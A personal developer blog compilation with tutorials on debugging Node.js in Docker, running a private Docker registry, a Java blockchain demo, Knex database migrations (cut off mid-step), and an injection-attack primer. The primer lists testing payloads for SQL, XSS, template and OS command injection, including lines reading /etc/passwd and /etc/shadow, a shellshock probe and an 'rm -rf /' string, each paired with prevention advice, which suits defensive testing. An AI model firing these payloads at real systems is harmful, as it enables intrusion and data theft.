# How To Debug Nodejs in Docker

I know what crossed your mind straight away: why would you debug Nodejs in Docker ?!? :)  
There should indeed be no need to debug an app in Docker. In a perfect world, it should be done in the development environment with your favourite IDE…
But, the world is not perfect, and there will always be some environment-related issues that will require you to tackle the issue on the spot.
&nbsp;

Let us take an example of running a Nodejs app inside of Docker container with node-rest-API id.  
&nbsp;  
First, we will need to enter into the container with the following command:  
`docker exec -i node-rest-API /bin/sh`  
&nbsp;  
The command above will get us into the containers shell command line,  and here we should be able to navigate to Nodejs script (based on your `WORKDIR` specified in Dockerfile).

&nbsp;  
By default, Nodejs has a debugger built into the runtime environment. You can read more about it [here](https://nodejs.org/api/debugger.html).   
In short, to use it, we need to start the server with the `inspect` flag.  
E.g.: `node inspect <node script> # you can obtain the path to the node script from Dockerfile/WORKDIR`.
Since there is already a server running in the container we will have to stop the current Nodejs server:  
`ps aux | grep node # to obtain the process ID`  
`kill <process ID>`  
&nbsp;  
Once the server restarted with the 'inspect' flag, it will open the debugger console at the first line of the server script, and we can start debugging the application.
It might be pretty hard to find the bug from the first line of code, that's why node has a `debugger` statement.
And if we want to stop at a particular line, we need to add a `debugger` statement to the script.
You will have to modify the Nodejs script in Docker container or rebuild and redeploy the new source code with the `debugger` statements inside. Depends on your project and use case.  
&nbsp;  
E.g.

```javascript
for (const key in stats) {
  debugger;
  if (Object.prototype.hasOwnProperty.call(stats, key)) {
    const value = stats[key];
  ...
  }
}
```

When we are in a position to start debugging, we can use the following commands to move around the code:
- cont, c: Continue execution
- next, n: Step next
- step, s: Step in
- out, o: Step out
- pause: Pause running code (like a pause button in Developer Tools)  
  &nbsp;



And once we are at the variable we want to inspect we can do so inside of `repl` terminal (just type `repl` in the debugger console and name of the variable):

<add an image>


That is it. Hope it helps and clap if it does ;)


# How To Debug Nodejs in Docker

# How to Setup a Private Docker Registry (on Ubuntu 20.04)

This is a quick guide on how to install a private docker repository on Ubuntu 20.04 server.

Most likely, if you clicked on the title, you already know what the Docker registry is. But just in case you don't,
Docker registry is a store or repository for the docker build images similar to the Maven repository for Java libraries or Npm
for the Javascript libraries.

You might also ask yourself why we need a private repository since there is already a Docker Hub or Amazon ECR.
This could be for security reasons, to have more control over the registry and builds or simply because of requirements.

## Prerequisites

All the commands are executed as a sudo user, so bear in mind that you might have to prepend `sudo` to all the below
commands.

First, we need to update the Ubuntu package management tool:  
`apt-get update -y # -y = automatic yes`  
Install (`certbot`)[https://certbot.eff.org/] to get a free HTTPS certificate.  
`apt-get install certbot`

Of course, for this, you will need a domain first, so alternatively, you could go with a self-signed certificate.
A guide about the self-signed certificate is described [here](https://docs.docker.com/registry/insecure/),
but as you can see in the link, the ride is not so smooth.

## Install Docker and Registry
`apt-get install docker`   
`docker pull registry`

This will just pull the registry image. Before we run it we still need to generate the certificate and update the run configuration.


## Create a Signed Certificate
`certbot certonly -d '<*.yourdomain.com,yourdomain.com>' --manual --preferred-challenges DNS  `  
Follow the instruction (add the DNS record to your domain provider: TXT _acme-challenge <secret hash>)

Once we have the generated keys, the Docker registry expects different formats, so we need to convert the keys with the following commands.
```
mkdir /etc/certs
cd /etc/letsencrypt/live/<your domain>/ ##  location of certbot/letsencyrpt certificate
cp privkey.pem domain.key
cat cert.pem chain.pem > domain.crt
chmod 640 domain.crt
chmod 640 domain.key
cp /etc/letsencrypt/live/<your domain>/domain.key /etc/certs/ 
cp /etc/letsencrypt/live/<your domain>/domain.crt /etc/certs/
```

##  Start Registry
Now that we have a certificate, we can start the docker registry. This will expose our registry publicly on https://<your domain>:5000/v2

``` 
docker run -d -p 5000:5000 --restart=always --name registry \
-v /etc/certs:/etc/certs \
-e REGISTRY_HTTP_TLS_CERTIFICATE=/etc/certs/domain.crt \
-e REGISTRY_HTTP_TLS_KEY=/etc/certs/domain.key \
-e REGISTRY_HTTP_HOST=https://<your domain>:5000 \
-e REGISTRY_STORAGE_DELETE_ENABLED="true" \
registry:2
```


## Testing (on the client machine - docker is required)
First we will need to copy over certificate to our Docker engine.  
`mkdir -p /etc/docker/certs.d/<your domain>:5000/`  
`scp <user>@<domain>:/etc/certs/domain.crt /etc/docker/certs.d/<your domain>:5000/`  
Restart docker!
Build and tag your new image (optionally, you could also pull existing image and retag it).
```
docker build -t <image name> .
docker tag <image name>:latest <your domain>:5000/<image name>
docker push <your domain>:5000/<image name>
docker pull <your domain>:5000/<image name>
```

Push and pull should succeed without any exceptions for the test to be successful.

##  Secure it with basic authentication
Since this registry is now publicly available, bear in mind that everyone can push or pull from it.
To secure it additionally, we could update the `ufw` firewall and set up at least basic auth.

For basic auth, we need to generate the encrypted password and user, which is then imported/used by the registry.

```
mkdir /docreg
docker run --entrypoint htpasswd registry:2.7.0 -Bbn <user> <strong password> > docreg/htpasswd
```
This command will generate htpasswd file with a user and encrypted (Bcrypt) password inside.
Here we specifically used version 2.7.0. It looks like there is a [bug](https://github.com/docker/distribution-library-image/issues/106)
in 2.7.1, and the generation of password does not work as expected
(It is ok, lost just an hour on this issue :P ).

Once that is done, we can update the docker run configuration and restart the image.
```
docker stop $(docker ps -aqf "name=registry")
docker rm $(docker ps -aqf "name=registry")

docker run -d -p 5000:5000 --restart=always --name registry \
-v /home/snap/docreg:/home/snap/docreg \
-e "REGISTRY_AUTH=htpasswd" \
-e "REGISTRY_AUTH_HTPASSWD_REALM=Registry Realm" \
-e "REGISTRY_AUTH_HTPASSWD_PATH=/home/snap/docreg/htpasswd" \
-v /etc/certs:/etc/certs \
-e REGISTRY_HTTP_TLS_CERTIFICATE=/etc/certs/domain.crt \
-e REGISTRY_HTTP_TLS_KEY=/etc/certs/domain.key \
-e REGISTRY_HTTP_HOST=https://<your domain>:5000 \
-e REGISTRY_STORAGE_DELETE_ENABLED="true" \
registry:2
```

On the security note ... this option is not the safest so it worth considering  [authentication with nginx](https://docs.docker.com/registry/recipes/nginx/) and setting up rate limiter on it ...

##  Test Basic Auth
Before, we can do push/pull we first need to login.
```
docker login -u <user> -p registry-sn-p! <your domain>:5000
docker push <your domain>:5000/<image name>
docker pull <your domain>:5000/<image name>
```

&nbsp;


#### And that it is it. Now, after a day of banging my head against the wall and searching for typos ... it looks simple :)


# How to Setup a Private Docker Registry (on Ubuntu 20.04)

# Minimum You Should Know About Injection Attacks

Injection attacks are one of the easiest and most common ways to exploit an application
since the invention of forms :)

Most of the injection attacks are language or framework-specific.
So, for example, a "recipe" for SQL injection for Java or Javascript application can be different.
Not only that, various frameworks and services can be susceptible to specific injection attacks. That is why the injection attacks can be quite poorly controlled and hence tested.

Here I will explain the basics of how we can test different ways of injection attacks and what is needed for their prevention.

---

## SQL injection (SQLi)
"SQL injection is a code injection technique used to attack data-driven applications, in which malicious
SQL statements are inserted into an entry field for execution" (Wikipedia)
In layman's terms, SQL injection is actually a SQL query
or addition to a SQL query that was inserted into the form
field and then executed on the server.

SQL and NoSQL injection attack can be easily performed on any input form in our application. An attacker can simply try to gain access to data or temper with it.

### Test
To test SQL injection, we can use tools like SQLMap or Whitewidow.   
Manually, the minimum we can do is insert the following into any input field possible and
check the result.
```SQL
'-'
''
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
""
"&"
"^"
"*"
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055

' OR '1
' OR 1 -- -
" OR "" = "
" OR 1 = 1 -- -
' OR '' = '
1' ORDER BY 1--+
-1' UNION SELECT 1,2,3--+
-1 UNION SELECT 1 INTO @,@

OR 1=1
OR x=x--
HAVING 1=1
WHERE 1=1 AND 1=1
ORDER BY 1--
and (select substring(@@version,1,1))='X'

1 or sleep(5)#
;waitfor delay '0:0:5'--
";waitfor delay '0:0:5'--
AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)
or SLEEP(5)

ORDER BY SLEEP(5)
UNION ALL SELECT 1
UNION ALL SELECT 1#
UNION ALL SELECT 1--
UNION SELECT @@VERSION,SLEEP(5),3
UNION SELECT @@VERSION,SLEEP(5),"'3
UNION ALL SELECT USER()--
UNION ALL SELECT NULL--
UNION ALL SELECT 'INJ'||'ECT'||'XXX'
```

The attack is considered successful if you can see in database logs SQL injection being executed or if any outcome of these fields/forms differentiates from the expected result. 
In that case, the application is vulnerable to attacks. 

This roughly gives you an idea. 
You get further information about the attack here:
https://www.owasp.org/index.php/SQL_Injection

### Prevention
To prevent this kind of injection, we should always use
parameterized queries or prepared statements and NOT concatenated SQL 
strings like for example 
"`SQL 
'SELECT * FROM users WHERE name = ' + name; -- WRONG
'SELECT * FROM users WHERE name = $1' --RIGHT and pass in the list of parameters;
```

---

## Javascript Injection (XSS)
Similar to SQL injection, we could also inject
code into the application to obtain the user information ...
A cross-site scripting attack occurs when the attacker tricks a web application to accept
an inserted code.

We could use tools like Zed Attack Proxy or Grabber.
Or manually insert the following into any, or better, all input fields (including URL).
### Test
```html
<script\x20type="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
<title onPropertyChange title onPropertyChange="javascript:javascript:alert(1)"></title onPropertyChange>
<body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
<iframe onbeforeload iframe onbeforeload="javascript:javascript:alert(1)"></iframe onbeforeload>
<a href="javas\x00cript:javascript:alert(1)" id="fuzzelement1">test</a>
<script\x20type="text/javascript">javascript:alert(1);</script>
ABC<div style="x:\x0Cexpression(javascript:alert(1)">DEF
<a href="\x00javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="\x16javascript:javascript:alert(1)" id="fuzzelement1">test</a>
<a href="javascript\x0A:javascript:alert(1)" id="fuzzelement1">test</a>
"`'><script>\x3Bjavascript:alert(1)</script>
"/><img/onerror=\x0Bjavascript:alert(1)\x0Bsrc=xxx:x />
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<img src=x onerror=\x10"javascript:alert(1)">
<IMG SRC="jav&#x09;ascript:alert('XSS');">
<svg><script>//&NewLine;confirm(1);</script </svg>
```

In our case, the alert box will pop up if the application is compromised.

Additional information on XSS injection attacks:
https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

### Prevention
Most modern libraries and frameworks will already provide a level of protection.
We still need to be aware of some gotchas like for example:
- Angular (2+) has bypassSecurityTrust which allows XSS if not implemented correctly
- React has    dangerouslySetInnerHTML
- Svelte has   {@html ...}
- Vue (2+) has v-html
- ...

It is still recommended to sanitize input data send to the server and
ensure all data is also validated on the server.
We can achieve that with libraries like:
OWASP Java HTML Sanitizer or Dompurify for Javascript ...

We should convert special characters such as ?, &, /, <, >
and spaces to their respective HTML or URL encoded equivalents.
In HTML, you should convert non-whitelisted values into HTML entities:

```
< converts to: &lt;
> converts to: &gt;
```

In JavaScript, non-alphanumeric values should be Unicode-escaped
```
< converts to: \u003c
> converts to: \u003e
```

---


## Template/Code injection
Template injection can occur when an attacker
takes advantage of language/framework syntax
to execute commands on the server-side.

Some common frameworks are:
- PHP: Smarty, Twigs...
- JAVA: Velocity, Thymeleaf ...
- Python: Jinja, Mako, chameleon
- ...

Each of these frameworks has its own special syntax, and if an attacker
manages to figure it out he could execute a myriad of different injections
against it.

### Test
To test it is good we first know which template/framework is
being used on the server, since the attack is template specific.
We can use tools like Tplmap or Burp Suite or manually check against
some common payloads as seen bellow:
```html
{{2*2}}[[3*3]]
{{3*3}}
{{3*'3'}}
<%= 3 * 3 %>
${6*6}
${{3*3}}
@(6+5)
#{3*3}
#{ 3 * 3 }
{{'a'.toUpperCase()}} 
<%= File.open('/etc/passwd').read %>
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}
{{app.request.query.filter(0,0,1024,{'options':'system'})}}
{php}echo `id`;{/php}
${T(java.lang.System).getenv()}
```
### Prevention
Sanitize the input/output data
and/or whitelist/blacklist input data which can be passed to the server.

To read more about it:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection.html

---

## SSRF and CRLF injection/Request Smuggling
Server Side Request Forgery or SSRF is a vulnerability in which an attacker forces a
server to perform requests on behalf of him to any other 'protected' domain.
CLRF (%0a%0d) are special characters that can cause an application
vulnerability due to direct parsing of header fields.
CRLF injection is used to split an HTTP response header which can cause
unexpected application behaviour.

### Test
For example, we could insert into a form field or URL below injections.
If that came to the server logs, it would be enough to give some information to the attacker on how to proceed with any other injection attack.
```
Critical Error: <CR><LF>MYSQL: TABLE CORRUPTION
fname<CR><LF>/bin/rm -rf / 
/index.php?page=home&%0d%0a127.0.0.1
```
SSRF attack is made on the URL. Here, for example, we could gain
access to the different application or resource with simple redirection.
```
https://target.com/page?url=http://127.0.0.1/admin // SSRF
https://target.com/page?url=file://etc/passwd //SSRF
```

### Prevention
Like with previous injection attacks, sanitization and validation are the general rules across all injection attacks.
For CRLF, we should use up to date software which will most likely automatically prevent this attack.
And if possible, do not use users input directly inside response headers.

For SSRF, we can whitelist/blacklist domains, not send raw responses and
enable authentication on all running services (like, for example, Redis, MySql ...)


---

## OS command injection
Command injection is made possible by a flaw in the application
code which makes
execution of arbitrary commands on the host
possible.

The most common scenarios would be in PHP and Javascript, where code can be executed through `eval()` function.
As per https://developer.mozilla.org/ :
"Warning: Executing JavaScript from a string is an enormous security risk. It is far too easy for a bad actor to run arbitrary code when you use eval(). See Never use eval()!, below."

### Test
We can use tools like Commix or Burp Suite
or manually insert into any input field (including url) to check against some common payloads as seen bellow:
```html
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/passwd&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/bin/cat%20/etc/shadow&quot;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
&lt;!--#exec%20cmd=&quot;/usr/bin/id;--&gt;
/index.html|id|
;id
;netstat -a;
;system('cat%20/etc/passwd')
`/usr/bin/id`
|/bin/ls -al
%0a id %0a
$;/usr/bin/id
() { :;}; /bin/bash -c "sleep 6 && echo vulnerable 6"
cat /etc/hosts
$(`cat /etc/passwd`)
system('cat /etc/passwd');
<?php system("cat /etc/passwd");?>

&
&&
%0a
%0a%0d

%0Aid
%0a id %0a
%0Aid%0A
eval('ls')
exec('ls')
{{ get_user_file("/etc/hosts") }}
{{4+4}}
which curl
```

### Prevention
In addition to general input sanitization and validation,
avoid dangerous function like in case  of Javascript:
`eval()`, `setTimeout()`, `setInterval()` and `new Function()`

---

## Host Header Injection
Many web application rely on the HTTP host header to understand "where they are".
Common HTTP Header would look like something like this:
```
GET / HTTP/1.1
Host: www.mydomain.com
[...]
```
The headers are actually controlled on the client-side.
That means an attacker could modify or add the additional header like, for example, `X-Forwarded-Host: evil.com`.

### Test
Host header injection is a more manual attack that can be easily done with a bit of code
or Burp Suite.
There are some perquisites like domain and test a simple script which we could inject into the application.
For example, if an application would rely on the host header
to obtain a script like this:
`<script src="http://<_SERVER['HOST']>/script.js">`
we could then change the host header to `malicious.com`, and that would result in an injected script like this:
`<script src="http://malicious.com/script.js">`

### Prevention
Whitelist acceptable URLs and don't allow "catch-all" configurations


To read more about it:
https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection

---
---
---
There are other (case-specific and less common) injection attacks that I did not cover here like:
- Email header injection
- LDAP Injection
- XML External Entity (XXE) Injection Payload List
- Formula Injection or CSV injection
- XPath injection


The basis of most common attacks against the application is pretty much covered here.
Of course, this is just the tip of the iceberg, but it is worthy
to be aware of these attacks

---




References:  
https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html
https://owasp.org/www-project-cheat-sheets/assets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet_SSRF_Bible.pdf
https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html
https://github.com/OWASP/wstg/blob/master/document/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection.md
https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
https://www.imperva.com/learn/application-security/command-injection/


# Minimum You Should Know About Injection Attacks

# Introduction to Blockchain in Java

A lot has been written about blockchain, but there are very few examples of the technology in action. So to understand it best is to write your own ;)

Here I will explain how blockchain works and support it with a practical demonstration of blockchain written in Java. If you are not familiar with Java, you can skip through the code bits, and you should still be able to get some useful information.
Otherwise, if you are interested in the project's code part, you need basic Java knowledge and should be familiar with tools like Maven and frameworks like Spring Boot, Mockito, Junit,... 

## JavaChain
[JavaChain](https://github.com/patrikbego/javachain) is a simple blockchain implementation based on Java and Spring Boot Shell, made mainly to give you a basic idea of how the blockchain works.

To build the project, run:
`mvn clean install`     
The project is executable from the command line (work in progress) as an executable main class:
`JcApplication`  (`java -jar target/jc-0.0.1-SNAPSHOT.jar`)  
which will open a shell where we can run specific commands. For now, there is just one executable command: `miner <data> <difficulty>`.

## Basic Concepts Behind Blockchain  

Blockchain is heavily dependent on cryptography and cryptographic concepts that provide a basis for a reliable and secure decentralized system.  
I will try to quickly and as simple as possible explain the basic concepts behind cryptography used in blockchains.
&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;  

**Encoding** 

Encoding is the process of transforming one format of data into another, so a system or a user can process it.  
&nbsp;&nbsp;&nbsp;&nbsp;E.g. of encoding types: UTF-8 to ASCII, Base64 ...  
&nbsp;&nbsp;&nbsp;&nbsp;Practical e.g.: if we encode the string "this is not really a secret" to base64 format, it will generate an encoded output "dGhpcyBpcyBub3QgcmVhbGx5IGEgc2VjcmV0".  
        This encoded output can be used to transport data over different protocols and later decoded back into a human-readable format.
        
In the JavaChain project, the encoding method is located in the `EncodingUtility` class. In the blockchain, it is used mainly to convert bytes to hexadecimal representations during the mining process. 

```java
public String bytesToHex(byte[] bytes) {
    StringBuilder hexString = new StringBuilder();
    for (byte byt : bytes) {
        hexString.append(Integer.toString((byt & 0xff) + 0x100, 16).substring(1));
    }
    return hexString.toString();
}
```

More examples of encoding can be found in `src/test/java/com/javachain/util/EncodingUtilityTest.java`
&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;  
        
**Hashing**    

Hashing is the process of converting given data into usually a shorter hashed value. A hash value is not reversible.  
&nbsp;&nbsp;&nbsp;&nbsp;E.g. of hash algorithms: sha-1, md5 , sha-256 (used in BitCoin), SHA-3/Keccak, etc.  
&nbsp;&nbsp;&nbsp;&nbsp;Practical e.g.: if we run sha-256 on a string "this is secret" it will produce output "37dca33640e56a775653bb63381c114c9790898858036674a25bdf4a34c98ca4".
If somebody messes up with that data, then the hash value will be different (for example, the hash is used when we download new software distributions. We run hash on that downloaded package and check it against the given hash. If hashes are the same, then we know that nobody did meddle with that package).
             
In the JavaChain project, the hashing method is located in HashingUtility class, and it is triggered when we generate a new block. 

```java
public byte[] sha256(String message) {
    MessageDigest messageDigest = null;
    try {
        messageDigest = MessageDigest.getInstance(CRYPTO_HASH_ALGORITHM);
    } catch (NoSuchAlgorithmException e) {
        LOGGER.error("Can't digest the message. {}", e.getMessage(), e);
    }
    return Objects.requireNonNull(messageDigest).digest(message.getBytes(StandardCharsets.UTF_8));
}
```   

More examples of hashing can be found in `src/test/java/com/javachain/util/HashingUtilityTest.java`  
&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;
        
**Encryption**   

Encryption is the process of transforming data into a secure unreadable format.   
Symmetric encryption uses a secret key (all parties/users who are supposed to see this data should know this key).  
&nbsp;&nbsp;&nbsp;&nbsp;e.g of encryption algorithms. Blowfish, AES ...  
Asymmetric Encryption uses public / private keys to encrypt and decrypt data
&nbsp;&nbsp;&nbsp;&nbsp;E.g. of encryption algorithms: RSA, DSA ...  
&nbsp;&nbsp;&nbsp;&nbsp;Practical e.g. of RSA encryption:  
         1. U1 initiates a transaction  
         2. U1 encrypts it using U1's PRIVATE key  
         3. U1 encrypts it again using U2's PUBLIC key  
         4. U1 sends the transaction to U2.    
         5. U2 receives a transaction from U1   
         6. U2 decrypts it using U2's PRIVATE key  
         7. U2 decrypts it again using U1's PUBLIC key  
         8. U2 can see the transaction details.    
         
In the JavaChain project, encryption happens when we do a transaction between wallets and is done using EncryptionUtility class methods. 

```java
public String sign(String message, PrivateKey privateKey) {
    Signature privateSignature;//hash the data (SHA256) and encrypt it (RSA)
    byte[] signature = new byte[0];
    try {
        privateSignature = Signature.getInstance(SHA_256_WITH_RSA);
        privateSignature.initSign(privateKey);
        privateSignature.update(message.getBytes(StandardCharsets.UTF_8));

        signature = privateSignature.sign();
    } catch (NoSuchAlgorithmException | InvalidKeyException | SignatureException e) {
        LOGGER.error("Can't sign the message {}", e.getMessage(), e);
    }
    return Base64.getEncoder().encodeToString(signature);
}
```  

During the process of mining, we need to validate the transaction and verify the digital signature. 
```java
public boolean verifySignature(String signer, String signature, PublicKey publicKey) throws SignatureException {
    Signature publicSignature = null;//hash the data (SHA256) and encrypt it (RSA)
    byte[] signatureBytes = new byte[0];
    try {
        publicSignature = Signature.getInstance(SHA_256_WITH_RSA);
        publicSignature.initVerify(publicKey);
        publicSignature.update(signer.getBytes(StandardCharsets.UTF_8));
        signatureBytes = Base64.getDecoder().decode(signature);
    } catch (NoSuchAlgorithmException | InvalidKeyException | SignatureException e) {
        LOGGER.error("Can't verify signature: {}", e.getMessage(), e);
    }
    return Objects.requireNonNull(publicSignature).verify(signatureBytes);
}
```  

More examples of encryption can be found in `src/test/java/com/javachain/util/EncryptionUtilityTest.java`
&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;

**Private Key**      
Used in asymmetric encryption, is a secret string of randomly generated alphanumerical characters, known only to the person that generated it. 
&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;

**Public Key**       
A string that corresponds to a private key, but does not need to be kept secret. 
&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;

**Digital Signature**       
A number that proves that a signing operation took place. 
A signature is mathematically generated from a hash of something to be signed, plus a private key.  

E.g.:  
    1. U1 signs a message with its private key.   
    2. U1 appends to the original message a version encrypted message  
    3. U2 receives both the message and signature    
    4. U2 uses U1's public key to verify the authenticity of the message  
    
## Cryptography in Blockchain
Symmetric encryption is used to converted data to a form that cannot be understood by anyone who does not possess the secret key to decrypt it.  
E.g., a bitcoin wallet is encrypted with symmetric AES-256-CBC encryption.

Each new blockchain transaction is recorded and verified onto a new block of data in the blockchain. 
Each block in the chain includes a digital signature linking it to the previous block.  

E.g. (b = block; prk = PRIVATE KEY; puk = PUBLIC KEY; s = SIGNATURE)
1. 1st transaction ( b0 + prk1 => HASHED => s0 )
2. mining => transaction gets approved /  (puk1 + s0)
3. block gets synced between the wallets
4. 2nd transaction. b1 + pk2 => hashed => s1 
...


## Building Blocks of Blockchain

**Wallet**  
A cryptocurrency wallet is the main "store" of blocks and credentials linked to users. 
The keys, linked in the wallet, are used to encrypt/decrypt and track ownership of transactions.
Each wallet communicates with another through its protocol  (this is mocked in the JavaChain project).

In JavaChain, each wallet contains: 
- public / private key and signature used for encryption,
- signer/owner used mainly for human readability
- and a blockchain where the transactional data is stored 

**Block**  
Blocks are encapsulations of transactional data.
Miners are continually processing new transactions into new blocks added to the block chain's end.  
Each block is a growing chain of blocks that are linked using cryptography.
Once a block is mined/approved/"nonce solved" it becomes immutable and cannot be deleted or modified.  
In JavaChain, each block contains information about: 
 - list of transactions,
 - the nonce is the number that blockchain miners are trying to solve (proof-of-work)
 - the hash (fixed-length presentation of the block data),
 - address of a miner,
 - creation date.

**Transaction**  
A transaction is a transfer value that is broadcasted to the network and collected into blocks.
In JavaChain transaction contains:
 - list of incoming and outgoing sub-transactions,
    - List of InTransactions (that is constructed on InTransaction and OutputIndex of previous OutTransaction list 
    (they have to match)) // t5.setInTransactions(Arrays.asList(new InTransaction(t2, 2), new InTransaction(t4, 0))); 
    - List of Out transactions (money sent out of your wallet)
 - fee (miner gets once it is approved),
 - a digital signature,
 - digital signature,
 - the amount we are sending (temporary storage),
 - wallet related fields - like keys, sender address ...
 

**Mining**  
Mining is a core process in the blockchain. It is a process of validating transactions and adding it to the blockchain and solving a "cryptographic puzzle."  
To mine a block, miners need to find a nonce.  

In Javachain, the mining method is located in BlockService. 
```java run
public Block mineBlock(Wallet wallet, List<Transaction> transactions, Block previousBlock)
            throws SignatureException {
...
```

In this method, we validate the transactions, previous blocks and mine the nonce.
A nonce is a dynamic number that is used in the blockchain "proof of work" algorithm. 
It is a number added to a hashed or encrypted block and is becoming more significant with each block 
(the computational power needed to mine the block is becoming more and more complicated).

The best example to see how the whole blockchain works it is in (`src/test/java/com/javachain/JcApplicationIT.java`)

```
LOGGER.info("Wallets initialization started");
initializeWallets();
```
Here we can imagine that at the begging, three users download the wallet. 
```
assertEquals(new BigDecimal(0), blockService.computeBalance(patriksWallet));
assertEquals(new BigDecimal(0), blockService.computeBalance(donnasWallet));
assertEquals(new BigDecimal(0), blockService.computeBalance(johnsWallet));
```
1st user creates/mines a genesis block and is awarded 25 tokens. 
```
LOGGER.info("Creating a new initial / genesis block");
Block genesisBlock = blockService.mineBlock(patriksWallet, new ArrayList<>(), null);
```
Wallets are synced (this is supposed to be a continuous background job inside of the wallet).
```
patriksWallet = walletService.syncBlockchain(patriksWallet, genesisBlock);
johnsWallet = walletService.syncBlockchain(johnsWallet, genesisBlock);
donnasWallet = walletService.syncBlockchain(donnasWallet, genesisBlock);

LOGGER.info("Block (in this case just initial block) is transferred to other wallets (each wallet does that)");
assertEquals(new BigDecimal(25), blockService.computeBalance(patriksWallet));
assertEquals(new BigDecimal(0), blockService.computeBalance(donnasWallet));
assertEquals(new BigDecimal(0), blockService.computeBalance(johnsWallet));
```
After the user has tokens, they can start doing transactions with each other. In this case, Patrik sent John and Donna 5 tokens.
```
LOGGER.info("5 tokens is being set to be sent to Johns and Donnas wallet (patriks wallet UI)");
donnasWallet.setAmountToBeSent(new BigDecimal(5));
johnsWallet.setAmountToBeSent(new BigDecimal(5));

LOGGER.info("Create first real transaction - send 5 tokens to Donna and 5 to John (patriks wallet UI)");
t2 = transactionService.send(patriksWallet, false, donnasWallet, johnsWallet);
```
Transactions need to be validated, and when a miner does that, the balances change in user wallets. Here John validates the transactions 
(is awarded 25 tokens) and receives the token from Patrik.
```
Block b1 = blockService.mineBlock(johnsWallet, Collections.singletonList(t2), genesisBlock);
LOGGER.info("Miner John approves the transaction (this could be any miner - first one wins the fee)");

patriksWallet = walletService.syncBlockchain(patriksWallet, b1);
johnsWallet = walletService.syncBlockchain(johnsWallet, b1);
donnasWallet = walletService.syncBlockchain(donnasWallet, b1);
assertEquals(new BigDecimal(15), blockService.computeBalance(patriksWallet));
assertEquals(new BigDecimal(5), blockService.computeBalance(donnasWallet));
assertEquals(new BigDecimal(30), blockService.computeBalance(johnsWallet));
LOGGER.info("Once the transaction is approved the wallets need to be synced again (syncing is ongoing/looping process)");

```

That is roughly the whole end to end "happy path" scenario (there are additional scenarios located in BlockServiceIT and WeaknessesIT). 


&nbsp;&nbsp;&nbsp;&nbsp;  
&nbsp;&nbsp;&nbsp;&nbsp;  

**Conclusion:** 
      
I hope this gives you a better overview of how the blockchain works and the concepts behind it.   
While blockchain could be a future alternative to current transaction banking systems, certain issues could be improved in current blockchains (i.e., transactional speed and scalability issues).
Another vulnerability is binding to a particular hashing algorithm. 
While that is not an issue at present, it could become an issue in the future. With more powerful computing 
(like quantum computing) also, modern algorithms could be at risk.   


**Links and useful resources**  
https://en.wikipedia.org/wiki/Cryptocurrency
https://bitcoin.org/bitcoin.pdf
http://www.michaelnielsen.org/ddi/how-the-bitcoin-protocol-actually-works/
https://en.bitcoin.it/wiki/How_bitcoin_works
https://quizlet.com/de/412572806/blockchain-bitcoin-transactions-flash-cards/


# Introduction to Blockchain in Java

# Database Schema Migrations (with Nodejs)


One of the essential practices of software development is version control, and with that, we also need to retain database compatibility with a specific version of our application.

With each release, we should be able to do a fast, reliable database update without compromising existing data and have a possibility of rollback in case of the worst-case scenario.


In the Nodejs project, this can be achieved with different libraries like Sequelize and db-migrate, Knex ...

Out of the three, Knex seems to be the most mature, which best fits the migration requirements.

Knex is multi-platform SQL query builder with built-in migration framework.
It will keep track of executed migration scripts and rollback the unsuccessful migrations if needed.

To do a simple POC, we will need:  
[Npm](https://docs.npmjs.com/getting-started),
[Node](https://nodejs.org/en/download/package-manager/),
[Postgres](https://www.postgresql.org/download/).

In this tutorial the following versions were used:  
npm: '7.5.1',  
node: '15.8.0',  
postgres '13.0',  
knex: '0.21.17'.

First, we will install Knex globally, so we can easily use it from the command line:  
`npm install knex -g`

Once the Knex is installed, we need to initialise it in our project:  
`knex init`

A configuration `knexfile.js` will be created for different environments (development, staging, production).
We need to update the database credentials inside of knexfile.
And in case there is a need, we could use different databases in different environments. For example, in development, we could use a simple in-memory database like SQLite.

Now that we have configuration knexfile, we have to create an initial migration file (initial schema).  
`knex migrate:make --help`

`knex migrate:make 001_initial_schema`

This will generate a new directory (migrations) and migration JavaScript file prefixed with the current timestamp.  
It is a good practice to include the release version into the name, which corresponds with the application version. In that way, we can easily group and manage migration files.

Inside of 001_initial_schema.js file we have 2 functions.
```javascript
exports.up = function(knex) {
  
};

exports.down = function(knex) {
  
};
```
Up will be executed in application rollout, and down will be executed in case of deployment/migration fails, and we want to do a rollback.

For the sake of POC, we will populate this method with a simple DDL (data definition language) query.

In case you don't already have a schema and user, you will need to create one manually:
Login into postgres with a user who has the right privileges:
